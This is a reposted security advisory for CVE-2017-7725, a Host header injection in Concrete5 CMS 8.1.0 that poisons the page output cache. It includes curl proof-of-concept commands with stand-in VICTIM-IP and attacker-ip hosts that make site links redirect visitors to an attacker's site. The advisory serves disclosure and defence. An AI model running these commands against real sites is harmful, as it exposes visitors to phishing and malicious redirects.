发布 2017-04-14 漏洞条目

Concrete5 CMS 8.1.0 – ‘Host’ Header Injection

Exploit Source

[+] Credits: John Page a.k.a hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt

[+] ISR: ApparitionSec

Vendor:

==================

www.concrete5.org

Product:

================

concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.

Vulnerability Type:

======================

Host Header Injection

CVE Reference:

==============

CVE-2017-7725

Security Issue:

================

If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the

"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.

Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489

e.g.

c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more

<!DOCTYPE html>

<head>

<title>Services :: POC</title>

var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";

var CCM_CID = 162;

var CCM_EDIT_MODE = false;

var CCM_ARRANGE_MODE = false;

var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";

var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";

var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE

var CCM_REL = "/concrete5-8.1.0";

</script>

Exploit:

=========

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:

http://VICTIM-IP/concrete5-8.1.0/index.php/services

http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio

Click on links in header portion of the webpage from one of the above URLs.

Services

Portfolio

Team / Drop down Menu

Blog

Contact

click on the links on footer portion of the webpage.

FAQ / Help

Case Studies

Blog

Another Link

View on Google Maps

Result: user gets redirected to attacker-ip.

Network Access:

===============

Remote

Severity:

=========

High

Disclosure Timeline:

======================================================

Vendor Notification : April 11, 2017

Vendor reply: "this is a known issue" : April 12, 2017

Requested a CVE from mitre.

CVE assigned : April 12, 2017

April 13, 2017 : Public Disclosure

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).

作者: hyp3rlinx
日期: 2017-04-14
类别: webapps
平台: php

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